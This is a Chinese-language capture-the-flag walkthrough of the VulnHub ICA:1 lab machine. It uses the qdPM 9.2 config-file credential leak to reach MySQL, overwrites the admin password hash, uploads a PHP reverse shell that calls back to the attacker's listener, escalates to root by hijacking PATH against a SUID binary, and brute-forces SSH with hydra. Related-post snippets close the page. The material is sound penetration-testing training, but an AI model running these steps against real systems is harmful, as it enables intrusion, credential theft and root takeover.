vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux

2023-05-16

vulnhub ica1 通关流程

演示视频:https://www.bilibili.com/video/BV1mG411b7to?share_source=copy_web&vd_source=64a913935cd06be9520fc94a5a9be4eb

Description

According to information from our intelligence network, ICA is
working on a secret project. We need to find out what the project is.
Once you have the access information, send them to us. We will place a
backdoor to access the system later. You just focus on what the project
is. You will probably have to go through several layers of security. The
Agency has full confidence that you will successfully complete this
mission. Good Luck, Agent!

Difficulty: Easy

This works better with VirtualBox rather than VMware

下载地址:ICA: 1 ~ VulnHub


阶段一:信息收集

1. 发现主机

netdiscover -i eth0  -r 192.168.1.1/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                    

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     80:8f:1d:fb:77:e0      1      60  TP-LINK TECHNOLOGIES CO.,LTD.                                  
 192.168.1.100   bc:5f:f6:f6:8a:2a      1      60  MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD.                    
 192.168.1.111   08:00:27:96:7b:c1      1      60  PCS Systemtechnik GmbH                                         
 192.168.1.104   46:1c:12:da:b7:3f      1      60  Unknown vendor                                                 

获得目标主机IP:192.168.1.111

2. 扫描主机

nmap -p- -sV -sC -O -oN nmap.out 192.168.1.111

获得目标端口信息:

  • 22 openSSH 8.4p1 Debian 5 (protocol 2.0)

  • 80/tcp open http Apache httpd 2.4.48 ((Debian))

  • 3306/tcp open mysql MySQL 8.0.26

分析:关于ssh和mysql的账户密码信息什么都没有,暴力破解无从着手。从端口80作为切入点比较合适。

3. 针对80端口收集网站信息

  • 发现登录系统qdPM 9.2,要求邮箱作为账号登录。进入qdPM官网后发现其是个管理系统。官网原文描述为:Free Web-Based Project Management Software (PHP/MySql)
  • 查询该系统版本的相关漏洞

    ┌──(root㉿kali)-[~/ica1]
    └─# searchsploit qdPM 9.2
    ------------------------------------------------------------------------
     Exploit Title                                  |  Path
    ------------------------------------------------------------------------
    qdPM 9.2 - Cross-site Request Forgery (CSRF)    | php/webapps/50854.txt
    qdPM 9.2 - Password Exposure (Unauthenticated)  | php/webapps/50176.txt
    ------------------------------------------------------------------------
    Shellcodes: No Results
    Papers: No Results
    
  • 发现可利用漏洞,可得数据密码信息。

    ┌──(root㉿kali)-[~/ica1]
    └─# cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
    # Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
    # Date: 03/08/2021
    # Exploit Author: Leon Trappett (thepcn3rd)
    # Vendor Homepage: https://qdpm.net/
    # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
    # Version: 9.2
    # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
    
    The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.                                                      
    
  • 按照说明获取yml文件

    wget http://192.168.1.111/core/config/databases.yml
    

    内容如下:

    all:
     doctrine:
     class: sfDoctrineDatabase
     param:
     dsn: 'mysql:dbname=qdpm;host=localhost'
     profiler: false
     username: qdpmadmin
     password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
     attributes:
     quote_identifier: true
    

    获得mysql数据库信息

    dbname:qdpm

    username:qdpmadmin

    password:UcVQCMQk2STVeS6J

阶段二:连接数据库

1. 登录数据库

mysql -h 192.168.1.111 -P 3306 --user=qdpmadmin --password=UcVQCMQk2STVeS6J

2. 查找有用信息

  • 查看所有数据库

    MySQL [(none)]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | mysql              |
    | performance_schema |
    | qdpm               |
    | staff              |
    | sys                |
    +--------------------+
    6 rows in set (0.001 sec)
    
  • 在数据库表staff.department中获得职位信息。

    MySQL [(none)]> use staff;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    MySQL [staff]> select * from department;
    +------+----------+
    | id   | name     |
    +------+----------+
    |    1 | Agent    |
    |    2 | Engineer |
    +------+----------+
    2 rows in set (0.000 sec)
    
  • 在数据库表staff.login中获得一些密码信息,基于BASE64加密

    MySQL [staff]> select * from login;
    +------+---------+--------------------------+
    | id   | user_id | password                 |
    +------+---------+--------------------------+
    |    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
    |    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
    |    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
    |    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
    |    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
    +------+---------+--------------------------+
    5 rows in set (0.008 sec)
    
  • 在数据库表staff.user中获得一些账户信息

    MySQL [staff]> select * from user;
    +------+---------------+--------+---------------------------+
    | id   | department_id | name   | role                      |
    +------+---------------+--------+---------------------------+
    |    1 |             1 | Smith  | Cyber Security Specialist |
    |    2 |             2 | Lucas  | Computer Engineer         |
    |    3 |             1 | Travis | Intelligence Specialist   |
    |    4 |             1 | Dexter | Cyber Security Analyst    |
    |    5 |             2 | Meyer  | Genetic Engineer          |
    +------+---------------+--------+---------------------------+
    5 rows in set (0.007 sec)
    
  • 从数据库表qdpm.configuration中获得管理员账号密码

    MySQL [staff]> use qdpm;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    MySQL [qdpm]> select * from configuration;
    +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
    | id | key                                  | value                                                                                                                    |
    +----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
    |  1 | app_administrator_email              | admin@localhost.com                                                                                                      |
    |  2 | app_administrator_password           | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0                                    
    
  • 总结

    • 获得一些职工的名字和密码,密码以Base64格式编码。但对应关系未知,作用未知。可尝试使用hydra枚举组合爆破SSH。[支线一]

    • 获得管理员账号密码对,账号格式为邮箱,猜测可用于qdPM系统登录。

      • 考虑到管理员权限很高,优先对此信息展开进一步处理。

      • 此密码加密类型为phpass,尝试JOHN对此密码进行暴力破解,失败。 [支线二]

      • 考虑对此密码HASH进行替换。

3. 更换密码

  • 获取新密码Hash

    ┌──(kali㉿kali)-[~]
    └─$ mkpasswd --method=md5crypt 123456
    $1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0
    
  • 写入数据库表

    MySQL [qdpm]> update configuration set value='$1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0' where id=2;
    
  • 查询确认

    MySQL [qdpm]> select value from configuration where id=2;
    +------------------------------------+
    | value                              |
    +------------------------------------+
    | $1$adnGQYCQ$WuriExp3cVu6svSX3qAqw0 |
    +------------------------------------+
    1 row in set (0.000 sec)
    

阶段三:进入qdPM系统

1. 登录qdPM系统

账号:admin@localhost.com

密码:123456

2. 查找有用信息

  • 发现可新增用户,尝试新建一个管理员账户。

    Full Name:test

    Password:test

    Email:test@test.test

3. 上传 Reverse Shell

  • kali系统自带有反弹SHELL文件,

    位于/usr/share/webshells/php/php-reverse-shell.php

  • 复制文件,并修改文件中的IP为本机192.168.1.150,端口号为8888

    修改之后将其放入文件夹/home/kali/Document

  • 退出账户admin@localhost.com,登录账户test@test.test

  • 发现新建工程可以上传文件,上传php-reverse-shell.php

    Projects --> Add Project --> General & Attachments
    

4. 建立反弹SHELL

  • 寻找上传的文件位置。对网站目录进行枚举,发现http://192.168.1.111/uploads/attachments/目录,上传的附件就保存在此处。

    dirb http://192.168.1.111 -o dirb.out
    
  • 在本地终端监听端口。

    nc -lvnp 8888
    
  • 点击文件php-reverse-shell.php,本机监听处收到请求,成功建立反弹shell

阶段四:提权

  • 成功进入系统,IDwww-data

    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  • 搜索可执行文件,发现文件get_access

    find / -perm -u=s 2>/dev/null
    
  • 执行该文件

    $ /opt/get_access
    
      ############################
      ########     ICA     #######
      ### ACCESS TO THE SYSTEM ###
      ############################
    
      Server Information:
       - Firewall:  AIwall v9.5.2
       - OS:        Debian 11 "bullseye"
       - Network:   Local Secure Network 2 (LSN2) v 2.4.1
    
    All services are disabled. Accessing to the system is allowed only within working hours.
    
  • 尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

    $ strings /opt/get_access
    setuid
    socket
    puts
    system
    __cxa_finalize
    setgid
    __libc_start_main
    libc.so.6
    GLIBC_2.2.5
    _ITM_deregisterTMCloneTable
    __gmon_start__
    _ITM_registerTMCloneTable
    u/UH
    []A\A]A^A_
    cat /root/system.info
    
  • 更改环境变量

    cd /tmp
    echo '/bin/bash' > cat
    chmod +x cat
    export PATH=/tmp:$PATH
    
  • 运行程序,得到root身份,提权成功

    $ /opt/get_access
    id
    uid=0(root) gid=0(root) groups=0(root),33(www-data)
    

阶段五:获取FLAG

  • FLAG1位于/home/travis/user.txt。由于cat已经被替换,改用less读取文件。

    less user.txt
    ICA{Secret_Project}
    
  • FLAG2位于/root/root.txt

    less root.txt
    ICA{Next_Generation_Self_Renewable_Genetics}
    
  • 至此,任务完成


支线一:使用 hydra 枚举组合爆破 SSH

  • 将名字和密码分别存入文件users.txtbase64_passwords.txt。名字作为账户名可能为全小写或者全大写,所以将大小写名字也添加进去。

    Smith
    Lucas
    Travis
    Dexter
    Meyer
    
    smith
    lucas
    travis
    dexter
    meyer
    
    SMITH
    LUCAS
    TRAVIS
    DEXTER
    MEYER
    
    c3VSSkFkR3dMcDhkeTNyRg==
    N1p3VjRxdGc0MmNtVVhHWA==
    WDdNUWtQM1cyOWZld0hkQw==
    REpjZVZ5OThXMjhZN3dMZw==
    Y3FObkJXQ0J5UzJEdUpTeQ==
    
  • 对密码解码,并保存到文件passwords.txt

    for line in $(cat base64_passwords.txt)
    
    do
    
    echo $line | base64 -d >> passwords.txt
    echo -e >>passwords.txt
    done
    
    suRJAdGwLp8dy3rF
    7ZwV4qtg42cmUXGX
    X7MQkP3W29fewHdC
    DJceVy98W28Y7wLg
    cqNnBWCByS2DuJSy
    
  • 爆破

    hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o hydra.out
    
  • 成功得到账户密码组合

    ┌──(root㉿kali)-[~/ica1]
    └─# hydra -e nsr -L users.txt -P passwords.txt 192.168.1.111 ssh -t 4 -o hydra.out 
    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-02 12:44:29
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
    [DATA] attacking ssh://192.168.1.111:22/
    [22][ssh] host: 192.168.1.111   login: travis   password: DJceVy98W28Y7wLg
    [22][ssh] host: 192.168.1.111   login: dexter   password: 7ZwV4qtg42cmUXGX
    1 of 1 target successfully completed, 2 valid passwords found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-02 12:44:55
    

    login: travis password: DJceVy98W28Y7wLg

    login: dexter password: 7ZwV4qtg42cmUXGX

支线二:使用 JOHN 对管理员密码进行破解

  • 将密码hash保存到文件pass.hash

    $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
    
  • 查看密码加密类型

    hashid -j pass.hash
    
  • 开始破解

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass pass.hash
    
  • 破解失败

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux 的相关文章

  • 在非实时操作系统/内核上执行接近实时任务的最佳方法是什么?

    在一台 GNU Linux 机器上 如果想要执行 实时 亚毫秒级时间关键 任务 您几乎总是必须经历漫长 复杂且容易出现问题的内核补丁过程 以提供足够的支持 1 http en wikipedia org wiki RTLinux Backg
  • 为什么默认情况下不启用 arp 忽略/通告 [关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 我有一个需要经验才能回答的具体问题 为什么 arp ignore arp announce 在 Linux 安装 例如 debian 上默认不启用 有
  • 比较linux中的两个未排序列表,列出第二个文件中的唯一项

    我有 2 个包含号码列表 电话号码 的文件 我正在寻找一种列出第二个文件中第一个文件中不存在的数字的方法 我尝试过各种方法 comm getting some weird sorting errors fgrep v x f second
  • 运行 shell 命令并将输出发送到文件?

    我需要能够通过 php 脚本修改我的 openvpn 身份验证文件 我已将我的 http 用户设置为免通 sudoer 因为这台机器仅在我的家庭网络中可用 我目前有以下命令 echo shell exec sudo echo usernam
  • pthread_self() 返回的线程 ID 与调用 gettid(2) 返回的内核线程 ID 不同

    这句话来自于pthread self 的手册页 http linux die net man 3 pthread self 那么 我应该根据什么来决定是否应该使用pthread self or gettid确定哪个线程正在运行该函数 两者都
  • 查找并删除超过 x 天的文件或文件夹

    我想删除超过 7 天的文件和文件夹 所以我尝试了 17 07 14 email protected cdn cgi l email protection find tmp mindepth 1 maxdepth 1 ctime 7 exec
  • 如何通过不同的接口路由 TCP/IP 响应?

    我有两台机器 每台机器都有两个有效的网络接口 一个以太网接口eth0和 tun tap 接口gr0 目标是使用接口在机器 A 上启动 TCP 连接gr0但然后让机器 B 的响应 ACK 等 通过以太网接口返回 eth0 因此 机器 A 发出
  • 如何使用 VSCode 调试 Linux 核心转储?

    我故意从我使用 VSCode 编写的 C 应用程序生成核心转储 我不知道如何调试核心转储 有没有人愿意分享这方面的经验 更新 我相信我现在已经可以使用了 我为核心文件创建了第二个调试配置 我需要添加指向生成的转储文件的 coreDumpPa
  • 如果输入被重定向则执行操作

    我想知道如果我的输入被重定向 我应该如何在 C 程序中执行操作 例如 假设我有已编译的程序 prog 并且我将输入 input txt 重定向到它 我这样做 prog lt input txt 我如何在代码中检测到这一点 一般来说 您无法判
  • 通过名称获取进程ID

    我想在 Linux 下获得一个给定其名称的进程 ID 有没有一种简单的方法可以做到这一点 我还没有在 C 上找到任何可以轻松使用的东西 如果追求 易于使用 char buf 512 FILE cmd pipe popen pidof s p
  • 点击界面没有出现

    我决定添加一个点击界面并在我的代码中使用它 但我能够得到它的状态 sudo ip f link tuntap add tap10 mode tap sudo ip link set tap10 up 之后当我执行 ip link 时 tap
  • 打印 STDOUT/STDERR 并将它们写入 Bash 中的文件?

    有没有办法让 Bash 将 STDOUT STDERR 重定向到文件 但仍然将它们打印到终端 这会将 STDOUT 和 STDERR 重定向到同一个文件 some command 2 gt 1 tee file log Example to
  • PHP mail() 函数不发送邮件

    我有一个小问题 我正在使用一个工作脚本 在我的测试帐户 共享服务器上工作 使用 mail 函数通过 PHP 发送邮件 我刚刚得到了一个专用服务器 但我还无法让该功能发挥作用 在过去的 10 个小时左右的时间里 我阅读了有关 BIND 用于
  • 进程如何知道它已收到信号

    如果我错了 请纠正我 以下是我对信号的理解 据我所知 信号生成 和信号传递有2个不同 事物 为了产生信号 操作系统只是在位数组中设置一个位 在过程控制中维护 工艺块 PCB 每一位 对应于特定信号 当设置一个位时 这意味着 该位对应的信号为
  • Flex 的远程版本误解了我的规则

    我使用 flex 和 bison 编写了一个小汇编程序 可以在我的机器 ubuntu 10 10 上构建并运行正常 现在其他人正在尝试在 arch linux 上构建它 并且他们安装的 flex 产生了不同的 lex yy c 这是不匹配的
  • sudo pip install python-Levenshtein 失败,错误代码 1

    我正在尝试在 Linux 上安装 python Levenshtein 库 但每当我尝试通过以下方式安装它时 sudo pip install python Levenshtein 我收到此错误 命令 usr bin python c 导入
  • tar.gz 和 tgz 是同一个东西吗? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我创建了 tgz 文件tar czvf filecommand then 我最终得到了一个 tgz 文件 我想知道它和tar gz 之间的
  • PHP 日志文件颜色

    我正在编写一个 PHP 日志文件类 但我想为写入文件的行添加颜色 我遇到的问题是颜色也会改变终端的颜色 我想要实现的是仅更改写入日志文件的行的颜色 class logClass extends Singleton private funct
  • 使用 hcitool 扫描低功耗蓝牙?

    当我运行此命令时 BLE 设备扫描仅持续 5 秒 sudo timeout 5s hcitool i hci0 lescan 输出显示在终端屏幕中 但是 当我将输出重定向到文件以保存广告设备的地址时 每次运行该命令时 我都会发现该文件是空的
  • ARM 的内核 Oops 页面错误错误代码

    Oops 之后的错误代码给出了有关 ARM EX 中的恐慌的信息 Oops 17 1 PREEMPT SMP在这种情况下 17 给出了信息 在 x86 中它代表 bit 0 0 no page found 1 protection faul

随机推荐